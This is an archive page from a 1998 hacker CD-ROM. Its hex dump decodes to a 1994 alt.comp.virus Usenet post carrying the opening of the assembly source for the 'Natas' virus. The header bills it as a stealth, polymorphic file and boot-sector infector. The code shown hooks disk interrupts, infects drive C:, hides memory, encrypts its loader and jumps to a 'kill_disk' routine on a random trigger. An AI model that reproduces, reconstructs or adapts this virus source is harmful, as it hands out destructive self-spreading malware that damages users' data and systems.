home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / v1eng.asm < prev    next >
Mailbox/MIME Entity  |  2003-06-11  |  102.0 KB

open in: MacOS 8.1     |     Win98     |     DOS

view JSON data     |     view as text

This file was processed as: Mailbox/MIME Entity (archive/mbox).

You can browse this item here: v1eng.asm

ConfidenceProgramDetectionMatch TypeSupport
100% dexvert Mailbox/MIME Entity (archive/mbox) magic Supported
100% dexvert Internet Message Format (text/imf) magic Supported
100% dexvert Assembly Source File (text/asm) magic Supported
1% dexvert freeCAD assembly (other/freeCADAssembly) ext Unsupported
1% dexvert Text File (text/txt) fallback Supported
100% file Mailbox text, 1st line "From netcom.com!ix.netcom.com!howland.reston.ans.net!sol.ctr.columbia.edu!news.mtu.edu!news.mtu.edu!not-for-mail Mon Nov 14 02:", ASCII text default
100% TrID E-Mail message (Var. 2) default
100% checkBytes Printable ASCII default
100% perlTextCheck Likely Text (Perl) default
100% siegfried x-fmt/111 Plain Text File default
100% detectItEasy Format: plain text[LF] default (weak)
100% xdgMime application/mbox default



hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 68 6f |ix.netco|m.com!ho|
|00000020| 77 6c 61 6e 64 2e 72 65 | 73 74 6f 6e 2e 61 6e 73 |wland.re|ston.ans|
|00000030| 2e 6e 65 74 21 73 6f 6c | 2e 63 74 72 2e 63 6f 6c |.net!sol|.ctr.col|
|00000040| 75 6d 62 69 61 2e 65 64 | 75 21 6e 65 77 73 2e 6d |umbia.ed|u!news.m|
|00000050| 74 75 2e 65 64 75 21 6e | 65 77 73 2e 6d 74 75 2e |tu.edu!n|ews.mtu.|
|00000060| 65 64 75 21 6e 6f 74 2d | 66 6f 72 2d 6d 61 69 6c |edu!not-|for-mail|
|00000070| 20 4d 6f 6e 20 4e 6f 76 | 20 31 34 20 30 32 3a 32 | Mon Nov| 14 02:2|
|00000080| 34 3a 32 39 20 31 39 39 | 34 0a 58 72 65 66 3a 20 |4:29 199|4.Xref: |
|00000090| 6e 65 74 63 6f 6d 2e 63 | 6f 6d 20 61 6c 74 2e 63 |netcom.c|om alt.c|
|000000a0| 6f 6d 70 2e 76 69 72 75 | 73 3a 32 34 30 0a 50 61 |omp.viru|s:240.Pa|
|000000b0| 74 68 3a 20 6e 65 74 63 | 6f 6d 2e 63 6f 6d 21 69 |th: netc|om.com!i|
|000000c0| 78 2e 6e 65 74 63 6f 6d | 2e 63 6f 6d 21 68 6f 77 |x.netcom|.com!how|
|000000d0| 6c 61 6e 64 2e 72 65 73 | 74 6f 6e 2e 61 6e 73 2e |land.res|ton.ans.|
|000000e0| 6e 65 74 21 73 6f 6c 2e | 63 74 72 2e 63 6f 6c 75 |net!sol.|ctr.colu|
|000000f0| 6d 62 69 61 2e 65 64 75 | 21 6e 65 77 73 2e 6d 74 |mbia.edu|!news.mt|
|00000100| 75 2e 65 64 75 21 6e 65 | 77 73 2e 6d 74 75 2e 65 |u.edu!ne|ws.mtu.e|
|00000110| 64 75 21 6e 6f 74 2d 66 | 6f 72 2d 6d 61 69 6c 0a |du!not-f|or-mail.|
|00000120| 46 72 6f 6d 3a 20 6a 64 | 6d 61 74 68 65 77 40 6d |From: jd|mathew@m|
|00000130| 74 75 2e 65 64 75 20 28 | 49 63 65 70 69 63 6b 29 |tu.edu (|Icepick)|
|00000140| 0a 4e 65 77 73 67 72 6f | 75 70 73 3a 20 61 6c 74 |.Newsgro|ups: alt|
|00000150| 2e 63 6f 6d 70 2e 76 69 | 72 75 73 0a 53 75 62 6a |.comp.vi|rus.Subj|
|00000160| 65 63 74 3a 20 4e 41 54 | 41 53 0a 44 61 74 65 3a |ect: NAT|AS.Date:|
|00000170| 20 31 33 20 4e 6f 76 20 | 31 39 39 34 20 31 38 3a | 13 Nov |1994 18:|
|00000180| 35 34 3a 31 39 20 2d 30 | 35 30 30 0a 4f 72 67 61 |54:19 -0|500.Orga|
|00000190| 6e 69 7a 61 74 69 6f 6e | 3a 20 4d 69 63 68 69 67 |nization|: Michig|
|000001a0| 61 6e 20 54 65 63 68 6e | 6f 6c 6f 67 69 63 61 6c |an Techn|ological|
|000001b0| 20 55 6e 69 76 65 72 73 | 69 74 79 0a 4c 69 6e 65 | Univers|ity.Line|
|000001c0| 73 3a 20 32 35 39 34 0a | 4d 65 73 73 61 67 65 2d |s: 2594.|Message-|
|000001d0| 49 44 3a 20 3c 33 61 36 | 38 76 62 24 6c 32 6f 40 |ID: <3a6|8vb$l2o@|
|000001e0| 6d 61 78 77 65 6c 6c 31 | 31 2e 65 65 3e 0a 4e 4e |maxwell1|1.ee>.NN|
|000001f0| 54 50 2d 50 6f 73 74 69 | 6e 67 2d 48 6f 73 74 3a |TP-Posti|ng-Host:|
|00000200| 20 6d 61 78 77 65 6c 6c | 31 31 2e 65 65 2e 6d 74 | maxwell|11.ee.mt|
|00000210| 75 2e 65 64 75 0a 58 2d | 4e 65 77 73 72 65 61 64 |u.edu.X-|Newsread|
|00000220| 65 72 3a 20 54 49 4e 20 | 5b 76 65 72 73 69 6f 6e |er: TIN |[version|
|00000230| 20 31 2e 32 20 50 4c 31 | 5d 0a 0a 3b 4e 61 74 61 | 1.2 PL1|]..;Nata|
|00000240| 73 20 56 69 72 75 73 0a | 3b 43 4f 4d 2f 45 58 45 |s Virus.|;COM/EXE|
|00000250| 2f 42 6f 6f 74 20 73 65 | 63 74 6f 72 2f 70 61 72 |/Boot se|ctor/par|
|00000260| 74 69 74 69 6f 6e 20 74 | 61 62 6c 65 2f 66 75 6c |tition t|able/ful|
|00000270| 6c 20 53 74 65 61 6c 74 | 68 20 61 6e 64 20 70 6f |l Stealt|h and po|
|00000280| 6c 79 6d 6f 72 70 68 69 | 63 0a 3b 54 75 6e 6e 65 |lymorphi|c.;Tunne|
|00000290| 6c 73 0a 3b 44 6f 65 73 | 20 6f 74 68 65 72 20 73 |ls.;Does| other s|
|000002a0| 74 75 66 66 0a 3b 32 20 | 66 69 6c 65 73 20 2d 2d |tuff.;2 |files --|
|000002b0| 20 76 31 65 6e 67 2e 61 | 73 6d 20 3d 20 76 69 72 | v1eng.a|sm = vir|
|000002c0| 75 73 20 20 65 6e 67 2e | 61 73 6d 20 3d 20 45 6e |us eng.|asm = En|
|000002d0| 67 69 6e 65 0a 0a 0a 2d | 2d 2d 2d 2d 2d 2d 2d 2d |gine...-|--------|
|000002e0| 2d 2d 2d 2d 2d 2d 2d 3c | 3c 76 31 65 6e 67 2e 61 |-------<|<v1eng.a|
|000002f0| 73 6d 3e 3e 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |sm>>----|--------|
|00000300| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000310| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000320| 2d 2d 2d 2d 2d 2d 0a 0a | 2e 6d 6f 64 65 6c 20 20 |------..|.model |
|00000330| 74 69 6e 79 0a 2e 63 6f | 64 65 0a 0a 66 69 6c 65 |tiny..co|de..file|
|00000340| 5f 73 69 7a 65 20 20 20 | 20 20 20 20 65 71 75 20 |_size | equ |
|00000350| 20 20 20 20 66 69 6c 65 | 5f 65 6e 64 20 2d 20 76 | file|_end - v|
|00000360| 5f 73 74 61 72 74 0a 73 | 65 63 74 5f 73 69 7a 65 |_start.s|ect_size|
|00000370| 20 20 20 20 20 20 20 65 | 71 75 20 20 20 20 20 28 | e|qu (|
|00000380| 64 65 63 72 79 70 74 20 | 2d 20 76 5f 73 74 61 72 |decrypt |- v_star|
|00000390| 74 20 2b 20 35 31 31 29 | 20 2f 20 35 31 32 0a 70 |t + 511)| / 512.p|
|000003a0| 61 72 61 5f 73 69 7a 65 | 20 20 20 20 20 20 20 65 |ara_size| e|
|000003b0| 71 75 20 20 20 20 20 28 | 76 5f 65 6e 64 20 2d 20 |qu (|v_end - |
|000003c0| 76 5f 73 74 61 72 74 20 | 2b 20 31 35 29 20 2f 20 |v_start |+ 15) / |
|000003d0| 31 36 0a 6b 69 6c 6f 5f | 73 69 7a 65 20 20 20 20 |16.kilo_|size |
|000003e0| 20 20 20 65 71 75 20 20 | 20 20 20 28 76 5f 65 6e | equ | (v_en|
|000003f0| 64 20 2d 20 76 5f 73 74 | 61 72 74 20 2b 20 31 30 |d - v_st|art + 10|
|00000400| 32 33 29 20 2f 20 31 30 | 32 34 0a 0a 66 69 6e 64 |23) / 10|24..find|
|00000410| 5f 64 6f 73 5f 31 33 20 | 20 20 20 20 65 71 75 20 |_dos_13 | equ |
|00000420| 20 20 20 20 74 72 61 63 | 65 72 5f 64 6f 73 5f 31 | trac|er_dos_1|
|00000430| 33 20 2d 20 28 74 72 61 | 63 65 5f 6d 6f 64 65 20 |3 - (tra|ce_mode |
|00000440| 2b 20 31 29 0a 66 69 6e | 64 5f 31 33 20 20 20 20 |+ 1).fin|d_13 |
|00000450| 20 20 20 20 20 65 71 75 | 20 20 20 20 20 74 72 61 | equ| tra|
|00000460| 63 65 72 5f 31 33 20 2d | 20 28 74 72 61 63 65 5f |cer_13 -| (trace_|
|00000470| 6d 6f 64 65 20 2b 20 31 | 29 0a 66 69 6e 64 5f 31 |mode + 1|).find_1|
|00000480| 35 20 20 20 20 20 20 20 | 20 20 65 71 75 20 20 20 |5 | equ |
|00000490| 20 20 74 72 61 63 65 72 | 5f 31 35 20 2d 20 28 74 | tracer|_15 - (t|
|000004a0| 72 61 63 65 5f 6d 6f 64 | 65 20 2b 20 31 29 0a 66 |race_mod|e + 1).f|
|000004b0| 69 6e 64 5f 32 31 20 20 | 20 20 20 20 20 20 20 65 |ind_21 | e|
|000004c0| 71 75 20 20 20 20 20 74 | 72 61 63 65 72 5f 32 31 |qu t|racer_21|
|000004d0| 20 2d 20 28 74 72 61 63 | 65 5f 6d 6f 64 65 20 2b | - (trac|e_mode +|
|000004e0| 20 31 29 0a 66 69 6e 64 | 5f 34 30 20 20 20 20 20 | 1).find|_40 |
|000004f0| 20 20 20 20 65 71 75 20 | 20 20 20 20 74 72 61 63 | equ | trac|
|00000500| 65 72 5f 34 30 20 2d 20 | 28 74 72 61 63 65 5f 6d |er_40 - |(trace_m|
|00000510| 6f 64 65 20 2b 20 31 29 | 0a 73 74 65 70 5f 32 31 |ode + 1)|.step_21|
|00000520| 20 20 20 20 20 20 20 20 | 20 65 71 75 20 20 20 20 | | equ |
|00000530| 20 74 72 61 63 65 72 5f | 73 74 65 70 5f 32 31 20 | tracer_|step_21 |
|00000540| 2d 20 28 74 72 61 63 65 | 5f 6d 6f 64 65 20 2b 20 |- (trace|_mode + |
|00000550| 31 29 0a 0a 6c 6f 61 64 | 65 72 5f 73 69 7a 65 20 |1)..load|er_size |
|00000560| 20 20 20 20 65 71 75 20 | 20 20 20 20 6c 6f 61 64 | equ | load|
|00000570| 65 72 5f 65 6e 64 20 2d | 20 6c 6f 61 64 65 72 0a |er_end -| loader.|
|00000580| 0a 6e 6f 5f 68 6f 6f 6b | 5f 32 31 20 20 20 20 20 |.no_hook|_21 |
|00000590| 20 65 71 75 20 20 20 20 | 20 6e 65 77 5f 31 33 5f | equ | new_13_|
|000005a0| 6e 65 78 74 20 2d 20 28 | 68 6f 6f 6b 5f 32 31 20 |next - (|hook_21 |
|000005b0| 2b 20 31 29 0a 79 65 73 | 5f 68 6f 6f 6b 5f 32 31 |+ 1).yes|_hook_21|
|000005c0| 20 20 20 20 20 65 71 75 | 20 20 20 20 20 63 68 65 | equ| che|
|000005d0| 63 6b 5f 32 31 20 2d 20 | 28 68 6f 6f 6b 5f 32 31 |ck_21 - |(hook_21|
|000005e0| 20 2b 20 31 29 0a 0a 62 | 6f 6f 74 20 20 20 20 20 | + 1)..b|oot |
|000005f0| 20 20 20 20 20 20 20 65 | 71 75 20 20 20 20 20 30 | e|qu 0|
|00000600| 0a 66 69 6c 65 20 20 20 | 20 20 20 20 20 20 20 20 |.file | |
|00000610| 20 65 71 75 20 20 20 20 | 20 31 0a 0a 79 65 61 72 | equ | 1..year|
|00000620| 73 20 20 20 20 20 20 20 | 20 20 20 20 65 71 75 20 |s | equ |
|00000630| 20 20 20 20 31 30 30 20 | 73 68 6c 20 31 0a 0a 0a | 100 |shl 1...|
|00000640| 76 5f 73 74 61 72 74 3a | 20 20 20 20 20 20 20 20 |v_start:| |
|00000650| 6a 6d 70 20 20 20 20 20 | 64 65 63 72 79 70 74 0a |jmp |decrypt.|
|00000660| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000670| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000680| 20 3b 20 70 75 73 68 20 | 20 20 20 63 73 0a 20 20 | ; push | cs. |
|00000690| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|000006a0| 70 6f 70 20 20 20 20 20 | 64 73 0a 20 20 20 20 20 |pop |ds. |
|000006b0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 63 61 6c | | ; cal|
|000006c0| 6c 20 20 20 20 63 6f 70 | 79 5f 69 6e 74 73 0a 20 |l cop|y_ints. |
|000006d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 64 | | d|
|000006e0| 77 20 20 20 20 20 20 63 | 6f 70 79 5f 69 6e 74 73 |w c|opy_ints|
|000006f0| 20 2d 20 28 24 20 2b 20 | 32 29 20 20 20 20 20 3b | - ($ + |2) ;|
|00000700| 20 73 61 76 65 20 69 6e | 74 73 20 31 33 20 31 35 | save in|ts 13 15|
|00000710| 20 32 31 20 34 30 0a 20 | 20 20 20 20 20 20 20 20 | 21 40. | |
|00000720| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 64 | m|ov d|
|00000730| 73 3a 68 6f 6f 6b 5f 32 | 31 2c 61 6c 20 20 20 20 |s:hook_2|1,al |
|00000740| 20 20 20 20 20 20 20 3b | 20 28 30 3d 79 65 73 5f | ;| (0=yes_|
|00000750| 68 6f 6f 6b 5f 32 31 29 | 20 68 6f 6f 6b 20 32 31 |hook_21)| hook 21|
|00000760| 68 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h. | |
|00000770| 20 20 6d 6f 76 20 20 20 | 20 20 64 73 3a 6f 72 69 | mov | ds:ori|
|00000780| 67 69 6e 2c 61 6c 20 20 | 20 20 20 20 20 20 20 20 |gin,al | |
|00000790| 20 20 3b 20 28 30 3d 62 | 6f 6f 74 29 20 72 65 6d | ; (0=b|oot) rem|
|000007a0| 65 62 65 72 20 68 6f 73 | 74 0a 20 20 20 20 20 20 |eber hos|t. |
|000007b0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|000007c0| 20 20 65 73 2c 61 78 20 | 20 20 20 20 20 20 20 20 | es,ax | |
|000007d0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 45 53 3d 30 | | ; ES=0|
|000007e0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000007f0| 20 70 6f 70 20 20 20 20 | 20 64 69 0a 20 20 20 20 | pop | di. |
|00000800| 20 20 20 20 20 20 20 20 | 20 20 20 20 73 75 62 20 | | sub |
|00000810| 20 20 20 20 64 69 2c 33 | 20 20 20 20 20 20 20 20 | di,3| |
|00000820| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 61 64 | | ; ad|
|00000830| 64 72 65 73 73 20 6f 66 | 20 6c 6f 61 64 65 72 20 |dress of| loader |
|00000840| 69 6e 20 62 6f 6f 74 0a | 20 20 20 20 20 20 20 20 |in boot.| |
|00000850| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|00000860| 61 78 20 64 69 20 20 20 | 20 20 20 20 20 20 20 20 |ax di | |
|00000870| 20 20 20 20 20 20 20 20 | 3b 20 73 61 76 65 20 72 | |; save r|
|00000880| 65 74 75 72 6e 20 61 64 | 64 72 65 73 73 20 30 3a |eturn ad|dress 0:|
|00000890| 78 78 78 78 0a 20 20 20 | 20 20 20 20 20 20 20 20 |xxxx. | |
|000008a0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 73 69 2c | mov| si,|
|000008b0| 6f 66 66 73 65 74 20 62 | 6f 6f 74 5f 63 6f 64 65 |offset b|oot_code|
|000008c0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000008d0| 20 63 61 6c 6c 20 20 20 | 20 6d 6f 76 65 5f 62 6f | call | move_bo|
|000008e0| 6f 74 5f 63 6f 64 65 31 | 20 20 20 20 20 20 20 20 |ot_code1| |
|000008f0| 20 3b 20 63 6f 70 79 20 | 61 6e 64 20 64 65 63 6f | ; copy |and deco|
|00000900| 64 65 20 62 6f 6f 74 20 | 63 6f 64 65 0a 20 20 20 |de boot |code. |
|00000910| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00000920| 20 20 20 20 20 61 6c 2c | 31 33 68 0a 20 20 20 20 | al,|13h. |
|00000930| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00000940| 20 20 20 20 64 78 2c 6f | 66 66 73 65 74 20 6e 65 | dx,o|ffset ne|
|00000950| 77 5f 31 33 0a 20 20 20 | 20 20 20 20 20 20 20 20 |w_13. | |
|00000960| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 73 65 74 | cal|l set|
|00000970| 5f 69 6e 74 20 20 20 20 | 20 20 20 20 20 20 20 20 |_int | |
|00000980| 20 20 20 20 20 3b 20 68 | 6f 6f 6b 20 69 6e 74 20 | ; h|ook int |
|00000990| 31 33 68 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |13h. | |
|000009a0| 20 20 20 20 63 61 6c 6c | 20 20 20 20 69 6e 66 5f | call| inf_|
|000009b0| 68 61 72 64 20 20 20 20 | 20 20 20 20 20 20 20 20 |hard | |
|000009c0| 20 20 20 20 3b 20 69 6e | 66 65 63 74 20 64 72 69 | ; in|fect dri|
|000009d0| 76 65 20 43 3a 0a 20 20 | 20 20 20 20 20 20 20 20 |ve C:. | |
|000009e0| 20 20 20 20 20 20 74 65 | 73 74 20 20 20 20 62 79 | te|st by|
|000009f0| 74 65 20 70 74 72 20 64 | 73 3a 6c 6f 61 64 5f 68 |te ptr d|s:load_h|
|00000a00| 65 61 64 2c 64 6c 20 3b | 20 44 4c 3d 38 30 68 20 |ead,dl ;| DL=80h |
|00000a10| 64 72 69 76 65 20 43 3a | 3f 0a 20 20 20 20 20 20 |drive C:|?. |
|00000a20| 20 20 20 20 20 20 20 20 | 20 20 6a 65 20 20 20 20 | | je |
|00000a30| 20 20 62 6f 6f 74 5f 72 | 65 74 66 0a 20 20 20 20 | boot_r|etf. |
|00000a40| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00000a50| 20 20 20 20 61 78 2c 31 | 66 66 68 0a 20 20 20 20 | ax,1|ffh. |
|00000a60| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 61 6c 6c | | call|
|00000a70| 20 20 20 20 72 61 6e 64 | 6f 6d 20 20 20 20 20 20 | rand|om |
|00000a80| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 74 69 | | ; ti|
|00000a90| 6d 65 20 74 6f 20 61 63 | 74 69 76 61 74 65 3f 0a |me to ac|tivate?.|
|00000aa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000ab0| 6a 6e 65 20 20 20 20 20 | 62 6f 6f 74 5f 72 65 74 |jne |boot_ret|
|00000ac0| 66 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |f. | |
|00000ad0| 20 20 6a 6d 70 20 20 20 | 20 20 6b 69 6c 6c 5f 64 | jmp | kill_d|
|00000ae0| 69 73 6b 0a 0a 62 6f 6f | 74 5f 72 65 74 66 3a 20 |isk..boo|t_retf: |
|00000af0| 20 20 20 20 20 72 65 74 | 66 20 20 20 20 20 20 20 | ret|f |
|00000b00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000b10| 20 20 20 20 20 3b 20 72 | 65 74 75 72 6e 20 74 6f | ; r|eturn to|
|00000b20| 20 62 6f 6f 74 20 73 65 | 63 74 6f 72 0a 20 20 20 | boot se|ctor. |
|00000b30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 0a 3b 3d | | .;=|
|00000b40| 3d 3d 3d 3d 28 20 43 6f | 70 79 20 62 6f 6f 74 20 |====( Co|py boot |
|00000b50| 63 6f 64 65 20 61 6e 64 | 20 28 65 6e 2f 64 65 29 |code and| (en/de)|
|00000b60| 63 72 79 70 74 20 69 74 | 20 29 3d 3d 3d 3d 3d 3d |crypt it| )======|
|00000b70| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000b80| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3b 0a 0a 6d 6f |========|===;..mo|
|00000b90| 76 65 5f 62 6f 6f 74 5f | 63 6f 64 65 31 3a 6d 6f |ve_boot_|code1:mo|
|00000ba0| 76 20 20 20 20 20 61 68 | 2c 64 73 3a 5b 73 69 20 |v ah|,ds:[si |
|00000bb0| 2d 20 31 5d 20 20 20 20 | 20 20 20 20 20 20 3b 20 |- 1] | ; |
|00000bc0| 67 65 74 20 6b 65 79 0a | 6d 6f 76 65 5f 62 6f 6f |get key.|move_boo|
|00000bd0| 74 5f 63 6f 64 65 3a 20 | 6d 6f 76 20 20 20 20 20 |t_code: |mov |
|00000be0| 63 78 2c 6c 6f 61 64 65 | 72 5f 73 69 7a 65 0a 20 |cx,loade|r_size. |
|00000bf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|00000c00| 6c 64 0a 6d 6f 76 65 5f | 62 6f 6f 74 5f 6c 6f 6f |ld.move_|boot_loo|
|00000c10| 70 3a 20 6c 6f 64 73 62 | 0a 20 20 20 20 20 20 20 |p: lodsb|. |
|00000c20| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 | | xor |
|00000c30| 20 61 6c 2c 61 68 20 20 | 20 20 20 20 20 20 20 20 | al,ah | |
|00000c40| 20 20 20 20 20 20 20 20 | 20 3b 20 63 6f 64 65 2f | | ; code/|
|00000c50| 64 65 63 6f 64 65 0a 20 | 20 20 20 20 20 20 20 20 |decode. | |
|00000c60| 20 20 20 20 20 20 20 72 | 6f 6c 20 20 20 20 20 61 | r|ol a|
|00000c70| 68 2c 31 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |h,1. | |
|00000c80| 20 20 20 20 73 74 6f 73 | 62 0a 20 20 20 20 20 20 | stos|b. |
|00000c90| 20 20 20 20 20 20 20 20 | 20 20 6c 6f 6f 70 20 20 | | loop |
|00000ca0| 20 20 6d 6f 76 65 5f 62 | 6f 6f 74 5f 6c 6f 6f 70 | move_b|oot_loop|
|00000cb0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000cc0| 20 72 65 74 6e 0a 20 20 | 20 20 20 20 20 20 20 20 | retn. | |
|00000cd0| 20 20 20 20 20 20 0a 3b | 3d 3d 3d 3d 3d 28 20 43 | .;|=====( C|
|00000ce0| 6f 64 65 20 74 68 61 74 | 20 77 61 73 20 69 6e 20 |ode that| was in |
|00000cf0| 62 6f 6f 74 20 73 65 63 | 74 6f 72 20 62 65 66 6f |boot sec|tor befo|
|00000d00| 72 65 20 69 6e 66 65 63 | 74 69 6f 6e 20 29 3d 3d |re infec|tion )==|
|00000d10| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00000d20| 3d 3d 3d 3d 3b 0a 0a 62 | 6f 6f 74 5f 63 6f 64 65 |====;..b|oot_code|
|00000d30| 5f 6b 65 79 20 20 20 64 | 62 20 20 20 20 20 20 3f |_key d|b ?|
|00000d40| 0a 62 6f 6f 74 5f 63 6f | 64 65 3a 20 20 20 20 20 |.boot_co|de: |
|00000d50| 20 64 62 20 20 20 20 20 | 20 6c 6f 61 64 65 72 5f | db | loader_|
|00000d60| 73 69 7a 65 20 64 75 70 | 28 3f 29 0a 0a 3b 3d 3d |size dup|(?)..;==|
|00000d70| 3d 3d 3d 28 20 47 65 74 | 73 20 69 6e 73 65 72 74 |===( Get|s insert|
|00000d80| 65 64 20 69 6e 74 6f 20 | 69 6e 66 65 63 74 65 64 |ed into |infected|
|00000d90| 20 42 6f 6f 74 20 73 65 | 63 74 6f 72 73 2f 4d 42 | Boot se|ctors/MB|
|00000da0| 52 73 20 29 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |Rs )====|========|
|00000db0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3b 0a 0a 6c 6f 61 |========|==;..loa|
|00000dc0| 64 65 72 3a 20 20 20 20 | 20 20 20 20 20 63 61 6c |der: | cal|
|00000dd0| 6c 20 20 20 20 24 20 2b | 20 33 0a 20 20 20 20 20 |l $ +| 3. |
|00000de0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00000df0| 20 20 20 64 69 2c 34 30 | 68 0a 20 20 20 20 20 20 | di,40|h. |
|00000e00| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|00000e10| 20 20 64 73 2c 64 69 0a | 20 20 20 20 20 20 20 20 | ds,di.| |
|00000e20| 20 20 20 20 20 20 20 20 | 73 75 62 20 20 20 20 20 | |sub |
|00000e30| 77 6f 72 64 20 70 74 72 | 20 64 73 3a 5b 64 69 2d |word ptr| ds:[di-|
|00000e40| 28 34 30 68 2d 31 33 68 | 29 5d 2c 6b 69 6c 6f 5f |(40h-13h|)],kilo_|
|00000e50| 73 69 7a 65 20 3b 20 68 | 69 64 65 20 6d 65 6d 6f |size ; h|ide memo|
|00000e60| 72 79 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ry. | |
|00000e70| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 64 73 | mov | ax,ds|
|00000e80| 3a 5b 64 69 2d 28 34 30 | 68 2d 31 33 68 29 5d 0a |:[di-(40|h-13h)].|
|00000e90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000ea0| 6d 6f 76 20 20 20 20 20 | 63 6c 2c 30 61 68 0a 20 |mov |cl,0ah. |
|00000eb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 72 | | r|
|00000ec0| 6f 72 20 20 20 20 20 61 | 78 2c 63 6c 20 20 20 20 |or a|x,cl |
|00000ed0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00000ee0| 20 67 65 74 20 54 4f 4d | 20 61 64 64 72 65 73 73 | get TOM| address|
|00000ef0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00000f00| 20 6d 6f 76 20 20 20 20 | 20 65 73 2c 61 78 0a 20 | mov | es,ax. |
|00000f10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00000f20| 6f 76 20 20 20 20 20 61 | 78 2c 32 30 30 68 20 2b |ov a|x,200h +|
|00000f30| 20 73 65 63 74 5f 73 69 | 7a 65 0a 20 20 20 20 20 | sect_si|ze. |
|00000f40| 20 20 20 20 20 20 20 20 | 20 20 20 78 6f 72 20 20 | | xor |
|00000f50| 20 20 20 62 78 2c 62 78 | 0a 20 20 20 20 20 20 20 | bx,bx|. |
|00000f60| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00000f70| 20 63 78 2c 30 0a 6c 6f | 61 64 5f 73 65 63 74 20 | cx,0.lo|ad_sect |
|00000f80| 20 20 20 20 20 20 3d 20 | 20 20 20 20 20 20 24 20 | = | $ |
|00000f90| 2d 20 32 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |- 2. | |
|00000fa0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 78 2c 30 | mov | dx,0|
|00000fb0| 0a 6c 6f 61 64 5f 68 65 | 61 64 20 20 20 20 20 20 |.load_he|ad |
|00000fc0| 20 3d 20 20 20 20 20 20 | 20 24 20 2d 20 32 0a 20 | = | $ - 2. |
|00000fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 69 | | i|
|00000fe0| 6e 74 20 20 20 20 20 31 | 33 68 20 20 20 20 20 20 |nt 1|3h |
|00000ff0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00001000| 20 72 65 61 64 20 63 6f | 64 65 20 69 6e 74 6f 20 | read co|de into |
|00001010| 6d 65 6d 6f 72 79 0a 20 | 20 20 20 20 20 20 20 20 |memory. | |
|00001020| 20 20 20 20 20 20 20 6a | 62 20 20 20 20 20 20 6c | j|b l|
|00001030| 6f 61 64 5f 66 61 69 6c | 0a 20 20 20 20 20 20 20 |oad_fail|. |
|00001040| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 | | push |
|00001050| 20 65 73 20 62 78 20 20 | 20 20 20 20 20 20 20 20 | es bx | |
|00001060| 20 20 20 20 20 20 20 20 | 20 3b 20 61 64 64 72 65 | | ; addre|
|00001070| 73 73 20 6f 66 20 68 69 | 67 68 20 63 6f 64 65 0a |ss of hi|gh code.|
